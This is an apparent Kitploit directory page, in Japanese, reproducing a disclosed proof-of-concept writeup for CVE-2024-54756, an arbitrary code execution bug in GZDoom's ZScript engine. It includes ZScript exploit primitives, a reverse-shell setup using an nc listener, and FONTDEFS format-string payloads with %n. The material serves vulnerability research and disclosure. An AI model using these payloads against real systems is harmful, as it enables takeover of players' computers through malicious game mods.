Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC — GZDoomのZScriptスクリプティングエンジンで発見した脆弱性CVE-2024-54756の概念実証 | Kitploit
ツール/GitHubGitHub/chainmanner/gzdoom-arbitrary-code-execution-via-zscript-poc
メモリフォレンジック脆弱性分析エクスプロイトリバースエンジニアリングシェルコード学習と教育ペイロード開発バイナリエクスプロイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
chainmanner/gzdoom-arbitrary-code-execution-via-zscript-poc

GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC

GZDoomのZScriptスクリプティングエンジンで発見した脆弱性CVE-2024-54756の概念実証

リポジトリを見る
1231年前未レビュー

GZDoom <= 4.13.1 悪意のあるZScriptによる任意コード実行

GZDoom (https://github.com/zdoom/gzdoom) の ZScript 機能で発見した任意コード実行脆弱性の概念実証です。攻撃者は悪意のあるZScriptソースファイルを含むPK3ファイルを共有し、被害者のPCにアクセスできます。

GZDoom開発チームのRachael氏とAgent Ash氏の迅速な対応、そして彼らと他のGZDoom開発者の迅速な対応に感謝します!

影響を受けるバージョン

4.13.0および4.13.1で動作確認済みで、それ以前のバージョンでもおそらく動作します。WADをプレイするためにバージョン4.13.1以下にダウングレードするように言う人には注意してください。

このPoCはLinuxでのみ動作しますが、脆弱性はWindowsにも存在する可能性があります。ZDoomやLZDoomではテストされていませんが、同様に脆弱性が存在する可能性があります。

この脆弱性はPoC公開前に開発者に開示されており、バージョン4.13.2では修正されているはずです。私の知る限り、このバージョンには実質的な破壊的変更は含まれていません。

免責事項

このPoCは教育目的で作成・公開されており、ゲーム/スクリプティングエンジン開発者が脆弱性がどのように発生するかを理解できるように、またプレイヤーが悪意のあるゲームMODがどのようなものかを理解できるようにするためのものです。私はこのPoCの誤用について一切の責任を負いません。仲間のゲーマーのPCを侵害するためにこれを使用しないでください。それは違法であり(言うまでもありませんが)、特にビデオゲームを通じて誰かのコンピュータを乗っ取るのは卑劣な行為です。

PoCの使用方法

このPoCを使用するには、このリポジトリをダウンロードし、zscript.zs と MAPINFO を含むPK3ファイル(実際は.zipファイルに.pk3拡張子を付けたもの)を作成します:

root@kitploit:~
git clone https://github.com/Chainmanner/GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
cd GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
zip PoC.pk3 zscript.zs MAPINFO

デフォルトのペイロードは、ローカルホストのポート1337へのリバースシェルを実行することです。リスナーを起動します:

root@kitploit:~
nc -nvlp 1337

PoCを次のように実行します:

root@kitploit:~
gzdoom -iwad <your-doom-or-freedoom-wad> -file PoC.pk3

正常に動作すれば、自分自身へのリバースシェルが取得できるはずです。

このPoCはLinux専用です。最初の試行で動作しないかもしれません。動作するまで繰り返し試してください。

解説

注記: これは私にとって初めてのエクスプロイトの writeup であり、低レベルの writeup を書くスキルはまだ向上中です。また、デバッグの多くを GDB で行いましたが、説明をより良くするためのメモリダンプを保存するという賢明な考えがなく、残念です。すみません!次回の writeup はもっと良いものにします、約束します。

GZDoomはパフォーマンスと拡張性を考慮して設計されたDoomのソースポートです。その強力な機能のおかげで、多くの素晴らしいWAD、MOD、さらには商用のトータルコンバージョンが作成されてきました。残念ながら、複雑さが増すところには脆弱性の機会が生まれます。このケースでは、ZScriptスクリプティングエンジンに2つの脆弱性が存在し、完全なエクスプロイトチェーンが成立しました。

この攻撃はASLRを無効化し、スタックカナリアを突破する必要性を回避します。ClangのCFIやシャドウスタックはここでは役に立たなかったと思います。

脆弱性

1つ目で最も重要な脆弱性は、巨大な配列の処理方法にありました。十分に小さな配列を割り当てると、割り当てられたメモリ領域はゼロで埋められ、他のオブジェクトと適切に分離されます。未初期化メモリを読み取っても情報は得られず、配列と重なるオブジェクトもありません。しかし、巨大な配列(たとえば1073741823個以上の32ビットワード)を割り当てると、配列の開始点から最大4 GiBの未初期化メモリを読み書きできるようになり、攻撃者は他のオブジェクトを直接変更し、既知のオフセットを持つアドレスを見つけることでASLRを無効化できます。さらに、この時点以降に作成された他の配列は、巨大な配列と重なります。

2つ目の脆弱性はメモリマップのパーミッションにありました。パフォーマンスを向上させるため、ZScriptコードは可能な限りJITコンパイルされてx86またはx86-64のバイトコードになります。そのためには、コードをメモリ領域に書き込み、そのメモリ領域を実行可能にする必要があります。しかし、W^Xルールでは、領域は書き込み可能または実行可能のいずれかであり、両方であってはならないと定めています。もし両方が同時に適用される場合(領域を書き込み可能にしてコードを書き込み、その後実行可能かつ書き込み不可にする代わりに)、任意書き込みプリミティブを持つ攻撃者はそれを任意コード実行に昇格させることができます。攻撃者はシェルコードを書き込み、例えばスタック上のリターンアドレスを変更することでそこにジャンプできます(攻撃者が任意実行プリミティブを持っていない場合)。実行中のGZDoomのメモリマッピングを見ると、いくつかのRWX領域があることがわかります:

root@kitploit:~
7fcd19700000-7fcd19800000 rwxp 00000000 00:00 0
7fcd1a100000-7fcd1a200000 rwxp 00000000 00:00 0
7fcd1eb00000-7fcd1ec00000 rwxp 00000000 00:00 0

したがって、任意書き込みと任意実行のプリミティブが利用可能で、攻撃者がRWX領域の場所を知っていれば、任意のシェルコードを書き込んで実行できます。JITコンパイルコードを書き込むときにこれらの領域をRW-にし、実行準備ができたらR-XにすることでこのPoCは防げますが、例えばスタック上のデータを変更する(ROP)やヒープを変更するなどしてコード実行を得ることを攻撃者に防ぐことはできません。

ガジェット

さらに、有用なガジェットがあります。巨大な配列を割り当てると、その後に作成された他の配列が重なることを思い出してください。これにはオブジェクトポインタの配列も含まれます。C++オブジェクトと同様に、ZScriptオブジェクトは変数や関数ポインタを含むことができます。次のようなオブジェクトがあるとします:

root@kitploit:~
class WeirdObject
{
        uint one;
        uint two;
        uint three;
        uint four;
        Function<clearscope void()> funcptr;
}

WeirdObjectインスタンスへのポインタを含む配列を作成すると、攻撃者は巨大な配列を使用してポインタを任意の場所に変更し、オブジェクトのフィールドにアクセスして指し示すデータを変更できるため、ヒープを超えた任意読み取り/書き込みプリミティブが得られます。ZScriptのポインタはnullでないことを確認するチェックは行われますが、正しいかどうかはチェックされません。

関数ポインタの存在は任意実行プリミティブも提供します。ただし、これはもう少し複雑で、仮想マシンを満足させるために偽のVMFunctionを作成する必要があります。エクスプロイトコードにZScript関数の呼び出しを導入すると、そのコードはJITコンパイルされなくなります。それでも動作しますが、デバッグやエクスプロイトが少し面倒になります。この部分にはより良い方法があるかもしれませんが、私はGZDoomの内部を十分に研究していないため、それを知りません。

注意すべき点:WeirdObjectは継承されたメンバ変数を持つため、最初のメンバはオフセット0x28から始まります。

エクスプロイト

これで、以下のツールが揃いました:

  • ヒープの広大な領域に対する任意読み取り/書き込み
  • ヒープを超えた任意読み取り/書き込み/実行
  • RWX領域

これらをどのように連鎖させてエクスプロイトにするのでしょうか?

まず、ASLRが有効なので、RWX領域がどこにあるかを特定する必要があります。どれでも構いません。巨大な配列でアクセス可能なヒープの部分には、RWX領域内の関数を指すアドレスが含まれていますが、他の領域を指すアドレスも含まれています。どのように区別するのでしょうか?LinuxではASLRのエントロピーは28ビット(場合によってはそれ以下)であることを思い出してください。つまり、アドレス内のマスク0x7fffffe00000のビットはランダムですが、0x0000001fffffのビットは静的です。そこで、ASLRを無効にして、次のRWX領域があると仮定します:

root@kitploit:~
[0x7ffff2f00000, 0x7ffff3000000)
[0x7ffff3900000, 0x7ffff3a00000)
[0x7ffff4300000, 0x7ffff4400000)

次に、以下のZScriptコードを使用して、RWX領域内のJITコンパイルされたZScript関数へのポインタを出力できます:

root@kitploit:~
uint u32pBFA9000[1073741823];
uint u32RWX_L;
uint u32RWX_H;

for (i = 0; i < (1073741823 / 2); i += 2)
{
	u32RWX_L = u32pBFA9000[i];
	u32RWX_H = u32pBFA9000[i+1];

	if ((u32RWX_H & 0xffff8000) == 0)
	{
		if ((u32RWX_L & 0xffe00000) == 0xf2e00000)
		{
			Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
		}
		if ((u32RWX_L & 0xffe00000) == 0xf3800000)
		{
			Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
		}
		if ((u32RWX_L & 0xffe00000) == 0xf4200000)
		{
			Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
		}
	}
}

出力結果を0x1fffffでAND演算してオフセットを取得し、これらのオフセットを使用してRWX領域へのポインタを識別できます。知っているオフセットが多いほど、エクスプロイトの成功率が高まります。

次に、任意実行プリミティブを準備する必要があります。上で宣言したWeirdObjectのようなガジェットオブジェクトの関数ポインタを、任意書き込みプリミティブを使用して変更することで行います。u32pBFA9000が宣言された後、任意書き込みと実行のガジェットオブジェクトを作成することから始めます:

root@kitploit:~
WeirdObject ppGadgetObjects[2];
ppGadgetObjects[0] = New("WeirdObject");        // Arbitrary write pointer.
ppGadgetObjects[1] = New("WeirdObject");        // Arbitrary execute object.

ppGadgetObjectsはu32pBFA9000と先頭で重なり、WeirdObject固有のメンバはオフセット0x28から始まることを思い出してください。任意書き込みプリミティブは次のようになります。ここで、TARGET_ADDRは書き込み先アドレス、QWORDは書き込む64ビット整数、_H/_Lはそれぞれ64ビット整数の上位32ビットと下位32ビットを示します:

root@kitploit:~
u32pBFA9000[0] = (TARGET_ADDR_L-0x28);
u32pBFA9000[1] = TARGET_ADDR_H;
ppGadgetObjects[0].one = QWORD_L;
ppGadgetObjects[0].two = QWORD_H;

ZScriptの関数ポインタの仕組みについては十分に理解しておらず、この部分はまだ説明が難しいことを認めますが、それでも最善を尽くして説明します。さらに混乱させてしまったらすみません。

  • 実行ガジェットのWeirdObjectの関数ポインタの宛先のオフセット0x38には、特定できなかったクラス/構造体へのポインタがあります。
  • この未特定のクラス/構造体のオフセット0x8には、VMFunctionへのポインタがあります。
  • VMFunctionのオフセット0xcには32ビットのVarFlagsメンバがあります。これをゼロに設定すると、シェルコードを呼び出すための短いパスになります。
  • VMFunctionのオフセット0x58には、実際に呼び出される関数へのポインタがあります。 本当は図を書くべきですが、今はASCIIアートをする気分ではありません。上記がどのようなものかは、エクスプロイトのソースコードを参照してください。

上記が整理されたら、ガジェットオブジェクトの関数ポインタを変更できます。それを呼び出すと、シェルコードが書き込まれた後に実行されます。

最後のステップは、シェルコード自体を書き込むことです。このPoCはシェルコマンドを呼び出すため、いくつかの文字列("/bin/bash"、"-c"、コマンド文字列)も書き込む必要があります。この部分は、実行する内容によって簡単にも難しくなります。

すべてが完了したら、実行ガジェットのWeirdObjectが指す関数を呼び出し、独自のシェルコードが実行されます。

追加の潜在的な脆弱性に関する注記

追加の脆弱性もいくつか発見しましたが、それらを悪用して完全なACEチェーンを構成する方法は見つかりませんでした。strcpy()のスタックオーバーフロー脆弱性はバージョン4.13.2で修正されました。mysnprintf()の書式文字列脆弱性はこれまで修正されていませんが、悪用しようとするならご自由にどうぞ。

書式文字列脆弱性

common/fonts/font.cppのFFontコンストラクタには、書式文字列脆弱性が(実際には2つ)あります:

root@kitploit:~
[...]
if (nametemplate != nullptr)
{
	if (!iwadonly)
	{
		for (i = 0; i < lcount; i++)
		{
			int position = lfirst + i;
			mysnprintf(buffer, countof(buffer), nametemplate, i + start);

			lump = TexMan.CheckForTexture(buffer, ETextureType::MiscPatch);
			[...]
		}
	}
	else
	{
		FGameTexture *texs[256] = {};
		if (lcount > 256 - start) lcount = 256 - start;
		for (i = 0; i < lcount; i++)
		{
			TArray<FTextureID> array;
			mysnprintf(buffer, countof(buffer), nametemplate, i + start);

			TexMan.ListTextures(buffer, array, true);
			[...]
		}
		[...]
	}
	[...]
}
[...]

FONTDEFS lumpのエントリのTEMPLATE引数が直接mysnprintf()に渡されます。つまり、次のようなエントリを使用して、スタック変数に基づいてフォントをロードしようとすることができます:

root@kitploit:~
EVILFONT
{
	TEMPLATE LOL%hhx
}

または、書き込まれた文字数をスタック上のどこかに書き込んでクラッシュを引き起こすエントリ:

root@kitploit:~
EVILFONT
{
        TEMPLATE ----AAAAAAAA%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%n
}

出力が制限されていることは問題ではありません。最大長に関係なく、パーセント記号は解析されます。

mysnprintf()は、柔軟性を犠牲にしてパフォーマンスを重視したカスタムのパブリックドメインのsnprintf()実装です。libcの標準実装よりも悪用がはるかに困難です。例えば、%nを使用しても32ビットワードしか書き込めず、%<num>$nを使用して特定のスタック要素に書き込むことはできません。

strcpy() スタック破壊

gamedata/statistics.cppのLevelStatEntry()にも危険なstrcpy()の呼び出しがあり、ソースが宛先より長くなる可能性があります。関数:

root@kitploit:~
static void LevelStatEntry(FSessionStatistics *es, const char *level, const char *text, int playtime)
{
	FLevelStatistics s;
	time_t clock;
	struct tm *lt;

	time (&clock);
	lt = localtime (&clock);

	strcpy(s.name, level);
	strcpy(s.info, text);
	s.timeneeded=playtime;
	es->levelstats.Push(s);
}

スタックに割り当てられるFLevelStatistics構造体は次のようになっています:

root@kitploit:~
struct FLevelStatistics
{
	char info[60];
	short skill;
	short playerclass;
	char name[24];
	int timeneeded;
};

そして、LevelStatEntry()は次のように呼び出され、引数としてLevelData.Levelname(std::string型)が使用されます:

root@kitploit:~
[...]
for(unsigned i = 0; i < LevelData.Size(); i++)
{
	FString lsection = LevelData[i].Levelname;
	^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	lsection.ToUpper();
	infostring.Format("%4d/%4d, %4d/%4d, %3d/%3d",
		 LevelData[i].killcount, LevelData[i].totalkills, LevelData[i].itemcount, LevelData[i].totalitems, LevelData[i].secretcount, LevelData[i].totalsecrets);

	LevelStatEntry(es, lsection.GetChars(), infostring.GetChars(), LevelData[i].leveltime);
			   ^^^^^^^^^^^^^^^^^^^
}
SaveStatistics(statfile, EpisodeStatistics);
[...]

このポイントに到達するには、g_level.cppのFLevelLocals::ChangeLevel()から始まる一連の他の呼び出しが必要ですが、ここでは示しません。ここに至るまでの実行チェーンでは、LevelData.Levelnameの長さに対するチェックや制限はありません。

現代のシステムでは、これは悪用可能ではないはずです。スタックカナリアはスタック破壊の試みを阻止し、ASLRはユーザーがリターン先を知ることを防ぎます。また、ガジェットは1つだけです:LevelStatEntry()を終了する際にリターンアドレスを上書きすることです。しかし、古いシステムではこれらの防御が利用できない場合があり、JITコンパイルされたZScriptコードが悪用のためのガジェットを提供する可能性があります。

ツールをダウンロード